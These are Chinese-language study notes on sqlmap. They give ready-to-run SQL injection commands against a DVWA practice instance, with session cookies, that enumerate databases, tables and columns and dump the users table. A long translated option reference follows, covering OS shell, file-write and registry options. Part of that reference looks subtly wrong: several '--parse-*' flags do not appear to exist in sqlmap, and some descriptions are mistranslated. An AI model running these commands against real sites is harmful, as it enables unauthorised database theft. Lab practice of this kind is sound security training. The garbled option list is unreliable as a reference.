--dump
sqlmap -u 'http://192.168.15.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; security=low; PHPSESSID=am3nf65kqivroagc73cjh9j91b' --random-agent --batch --dump --threads=10
- 注意,这里url带引号;有cookie也带引号;随机请求头;自动选择,不交互;解密所有数据库内容;线程为10
--tables
- 容易使数据库宕机
sqlmap -u 'http://192.168.15.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; security=low; PHPSESSID=am3nf65kqivroagc73cjh9j91b' --random-agent --batch --dbs --threads=10
sqlmap -u 'http://192.168.15.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; security=low; PHPSESSID=am3nf65kqivroagc73cjh9j91b' --random-agent --batch -D dvwa --tables --threads=10
sqlmap -u 'http://192.168.15.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; security=low; PHPSESSID=am3nf65kqivroagc73cjh9j91b' --random-agent --batch -D dvwa -T users --columns --threads=10
- 依次查看数据库名,表名,列名数据
post请求情况
sqlmap --url 'http://192.168.15.109/dvwa/vulnerabilities/sqli/' --data="id=1&Submit=Submit" --cookie='security=low; security=low; PHPSESSID=am3nf65kqivroagc73cjh9j91b' --random-agent --batch -D dvwa -T users --columns --threads=10
- 带post参数的,也可以使用-r参数将请求头保存到txt文件,要去掉url,data参数
换页面参数输入
sqlmap --url "http://192.168.15.109/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --cookie='security=high; PHPSESSID=2g3qf5ouh7m8k6okpp91e7autj' --random-agent --batch --dump --threads=10 --second-url='http://192.168.15.109/dvwa/vulnerabilities/sqli/'
参数
目标:
必须提供以下选项之一来定义目标(们)
-u URL, --url=URL 目标URL(例如 "http://www.site.com/vuln.php?id=1")
-d DIRECT 直接数据库连接的连接字符串
-l LOGFILE 从Burp或WebScarab代理日志文件中解析目标(们)
-m BULKFILE 在文本文件中扫描多个目标
-r REQUESTFILE 从文件中加载HTTP请求
-g GOOGLEDORK 将Google dork结果处理为目标URL
-c CONFIGFILE 从配置INI文件加载选项
请求:
这些选项可用于指定如何连接到目标URL
-A AGENT, --user.. HTTP User-Agent头值
-H HEADER, --hea.. 额外的头部(例如 "X-Forwarded-For: 127.0.0.1")
--method=METHOD 强制使用给定的HTTP方法(例如 PUT)
--data=DATA 要通过POST发送的数据字符串(例如 "id=1")
--param-del=PARA.. 用于拆分参数值的字符(例如 &)
--cookie=COOKIE HTTP Cookie头值(例如 "PHPSESSID=a8d127e..")
--cookie-del=COO.. 用于拆分Cookie值的字符(例如 ;)
--live-cookies=L.. 用于加载最新值的活动Cookie文件
--load-cookies=L.. 从Netscape/wget格式的文件中加载Cookie
--drop-set-cookie 忽略响应中的Set-Cookie头
--mobile 通过HTTP User-Agent头值模拟智能手机
--random-agent 使用随机选择的HTTP User-Agent头值
--host=HOST HTTP Host头值
--referer=REFERER HTTP Referer头值
--headers=HEADERS 额外的头部(例如 "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP身份验证类型(Basic,Digest,Bearer等)
--auth-cred=AUTH.. HTTP身份验证凭据(用户名:密码)
--auth-file=AUTH.. HTTP身份验证PEM证书/私钥文件
--abort-code=ABO.. 终止(有问题的)HTTP错误代码(例如 401)
--ignore-code=IG.. 忽略(有问题的)HTTP错误代码(例如 401)
--ignore-proxy 忽略系统默认代理设置
--ignore-redirects 忽略重定向尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用代理连接到目标URL
--proxy-cred=PRO.. 代理身份验证凭据(用户名:密码)
--proxy-file=PRO.. 从文件中加载代理列表
--proxy-freq=PRO.. 在给定列表中更改代理之间的请求
--tor 使用Tor匿名网络
--tor-port=TORPORT 设置Tor代理端口(默认为默认值)
--tor-type=TORTYPE 设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认))
--check-tor 检查Tor是否正确使用
--delay=DELAY 每个HTTP请求之间的延迟(以秒为单位)
--timeout=TIMEOUT 连接超时前等待的秒数(默认为30秒)
--retries=RETRIES 连接超时时的重试次数(默认为3次)
--retry-on=RETRYON 根据内容(例如“drop”)在正则表达式匹配时重试请求
--randomize=RPARAM 随机更改给定参数的值
--safe-url=SAFEURL 在测试期间经常访问的URL地址
--safe-post=SAFE.. 发送到安全URL的POST数据
--safe-req=SAFER.. 从文件中加载安全的HTTP请求
--safe-freq=SAFE.. 在访问安全URL之间的定期请求
--skip-urlencode 跳过对有效负载数据进行URL编码
--csrf-token=CSR.. 用于保存反CSRF令牌的参数
--csrf-url=CSRFURL 用于提取反CSRF令牌的URL地址
--csrf-method=CS.. 在访问反CSRF令牌页面时使用的HTTP方法
--csrf-data=CSRF.. 在访问反CSRF令牌页面时发送的POST数据
--csrf-retries=C.. 反CSRF令牌检索的重试次数(默认为0次)
--force-ssl 强制使用SSL/HTTPS
--chunked 使用HTTP块传输编码(POST)请求
--hpp 使用HTTP参数污染方法
--eval=EVALCODE 在请求之前评估提供的Python代码(例如
"import hashlib;id2=hashlib.md5(id).hexdigest()")
优化:
这些选项可用于优化sqlmap的性能
-o 打开所有优化开关
--predict-output 预测常见查询的输出
--keep-alive 使用持久的HTTP(s)连接
--null-connection 检索页面长度而不包含实际HTTP响应主体
--threads=THREADS 最大并发HTTP(s)请求数(默认为1)
注入:
这些选项可用于指定要测试的参数、提供自定义的注入载荷和可选的篡改脚本
-p TESTPARAMETER 要测试的参数(们)
--skip=SKIP 跳过对给定参数的测试
--skip-static 跳过不显示为动态的参数的测试
--param-exclude=.. 用于从测试中排除参数的正则表达式(例如"ses")
--param-filter=P.. 按位置选择可测试的参数(例如"POST")
--dbms=DBMS 强制后端DBMS使用提供的值
--dbms-cred=DBMS.. DBMS身份验证凭据(用户名:密码)
--os=OS 强制后端DBMS操作系统使用提供的值
--invalid-bignum 使用大数值使值无效
--invalid-logical 使用逻辑操作使值无效
--invalid-string 使用随机字符串使值无效
--no-cast 关闭有效负载转换机制
--no-escape 关闭字符串转义机制
--prefix=PREFIX 注入负载前缀字符串
--suffix=SUFFIX 注入负载后缀字符串
--tamper=TAMPER 用于篡改注入数据的脚本(们)
检测:
这些选项可用于自定义检测阶段
--level=LEVEL 要执行的测试级别(1-5,默认为1)
--risk=RISK 要执行的测试风险(1-3,默认为1)
--string=STRING 查询评估为True时匹配的字符串
--not-string=NOT.. 查询评估为False时匹配的字符串
--regexp=REGEXP 查询评估为True时匹配的正则表达式
--code=CODE 查询评估为True时匹配的HTTP代码
--smart 仅在存在正式启发式情况下执行全面测试
--text-only 仅基于文本内容比较页面
--titles 仅基于页面标题比较页面
技术:
这些选项可用于调整特定SQL注入技术的测试
--technique=TECH.. 要使用的SQL注入技术(默认为"BEUSTQ")
--time-sec=TIMESEC 延迟DBMS响应的秒数(默认为5秒)
--union-cols=UCOLS 用于测试UNION查询SQL注入的列范围
--union-char=UCHAR 用于暴力破解列数的字符
--union-from=UFROM 用于UNION查询SQL注入的FROM部分的表
--dns-domain=DNS.. 用于DNS泄露攻击的域名
--second-url=SEC.. 在搜索第二次响应时搜索的结果页面URL
--second-req=SEC.. 从文件中加载第二次HTTP请求
指纹识别:
-f, --fingerprint 执行全面的DBMS版本指纹识别
枚举:
这些选项可用于列举后端数据库管理系统中的信息、结构和表中的数据
-a, --all 检索所有内容
-b, --banner 检索DBMS标识
--current-user 检索DBMS当前用户
--current-db 检索DBMS当前数据库
--hostname 检索DBMS服务器主机名
--is-dba 检测DBMS当前用户是否为DBA
--users 列举DBMS用户
--passwords 列举DBMS用户密码哈希
--privileges 列举DBMS用户权限
--roles 列举DBMS用户角色
--dbs 列举DBMS数据库
--tables 列举DBMS数据库表
--columns 列举DBMS数据库表列
--schema 列举DBMS模式
--count 检索表(们)的条目数
--dump 转储DBMS数据库表条目
--dump-all 转储所有DBMS数据库表条目
--search 搜索列(们)、表(们)和/或数据库名称
--comments 在枚举过程中检查DBMS注释
--statements 检索在DBMS上运行的SQL语句
-D DB 要枚举的DBMS数据库
-T TBL 要枚举的DBMS数据库表(们)
-C COL 要枚举的DBMS数据库表列(们)
-X EXCLUDE 要在枚举中排除的DBMS数据库标识(们)
-U USER 要枚举的DBMS用户
--exclude-sysdbs 在枚举表时排除DBMS系统数据库
--pivot-column=P.. 枢轴列名
--where=DUMPWHERE 在转储表时使用WHERE条件
--start=LIMITSTART 检索的第一个转储表条目
--stop=LIMITSTOP 检索的最后一个转储表条目
--first=FIRSTCHAR 要检索的第一个查询输出单词字符
--last=LASTCHAR 要检索的最后一个查询输出单词字符
--sql-query=SQLQ.. 要执行的SQL语句
--sql-shell 提示进行交互式SQL shell
--sql-file=SQLFILE 从给定文件(们)执行SQL语句
暴力破解:
这些选项可用于运行暴力破解检查
--common-tables 检查常见表的存在
--common-columns 检查常见列的存在
--common-files 检查常见文件的存在
用户定义的函数注入:
这些选项可用于创建自定义用户定义的函数
--udf-inject 注入自定义用户定义的函数
--shared-lib=SHLIB 共享库的本地路径
文件系统访问:
这些选项可用于访问后端数据库管理系统的文件系统
--file-read=FILE.. 从后端DBMS文件系统中读取文件
--file-write=FIL.. 在后端DBMS文件系统上写入本地文件
--file-dest=FILE.. 后端DBMS绝对文件路径来写入
操作系统访问:
这些选项可用于访问后端数据库管理系统的操作系统
--os-cmd=OSCMD 执行操作系统命令
--os-shell 提示进行交互式操作系统 shell
--os-pwn 提示进行OOB shell、Meterpreter或VNC
--os-smbrelay 单击提示进行OOB shell、Meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH Metasploit Framework安装的本地路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows注册表访问:
这些选项可用于访问后端数据库管理系统的Windows注册表
--reg-read 读取Windows注册表键值
--reg-add 写入Windows注册表键值数据
--reg-del 删除Windows注册表键值
--reg-key=REGKEY Windows注册表键
--reg-value=REGVAL Windows注册表键值
--reg-data=REGDATA Windows注册表键值数据
--reg-type=REGTYPE Windows注册表键值类型
常规:
这些选项可用于设置一些一般的工作参数
-s SESSIONFILE 从存储的(.sqlite)文件中加载会话
-t TRAFFICFILE 将所有HTTP流量记录到文本文件中
--abort-on-empty 在空结果时中止数据检索
--answers=ANSWERS 设置预定义答案(例如 "quit=N,follow=N")
--base64=BASE64P.. 包含Base64编码数据的参数(们)
--base64-safe 使用URL和文件名安全的Base64字符集(RFC 4648)
--batch 从不询问用户输入,使用默认行为
--binary-fields=.. 具有二进制值的结果字段(例如 "digest")
--check-internet 在评估目标之前检查Internet连接
--cleanup 从sqlmap特定UDF和表中安全删除内容
--crawl=CRAWLDEPTH 从目标URL开始爬行网站
--crawl-exclude=.. 用于排除爬行页面的正则表达式(例如 "logout")
--csv-del=CSVDEL CSV输出中使用的分隔字符(默认为“,”)
--charset=CHARSET 盲SQL注入字符集(例如"0123456789abcdef")
--dump-file=DUMP.. 将转储的数据存储到自定义文件中
--dump-format=DU.. 转储数据的格式(CSV(默认),HTML或SQLITE)
--encoding=ENCOD.. 用于数据检索的字符编码(例如GBK)
--eta 对于每个输出显示到达的预计时间
--flush-session 刷新当前目标的会话文件
--forms 解析和测试目标URL上的表单
--fresh-queries 忽略从目标URL导入的数据库提取结果
--har=HARFILE 从文件中加载HTTP档案文件
--hex=HEXPAYLOAD 包含十六进制编码数据的参数(们)
--keep 继续进行后续操作
--parse-errors 解析并显示发生的SQL错误
--parse-columns 解析并显示在错误页面中找到的列数
--parse-string=.. 解析并显示在页面中找到的字符串
--parse-status 解析并显示页面的HTTP状态代码
--parse-charset 解析并显示页面的字符集
--parse-html-enc.. 解析并显示页面的HTML编码
--parse-server 解析并显示页面的服务器编码
--parse-os 解析并显示页面的操作系统
--parse-dbms 解析并显示页面的DBMS
--parse-privileges 解析并显示在错误页面中找到的特权
--parse-current-.. 解析并显示页面的DBMS当前数据库
--parse-form 解析并显示页面上找到的表单
--purge-output 删除所有或指定输出文件内容
--skip-waf 跳过WAF(Web应用程序防火墙)/IPS(入侵防护系统)
--skip-detect 不检测DBMS版本
--smart 仅在存在正式启发式情况下执行全面测试
--sqlmap-shell 提示进行交互式sqlmap shell
--wizard 简化的wiz..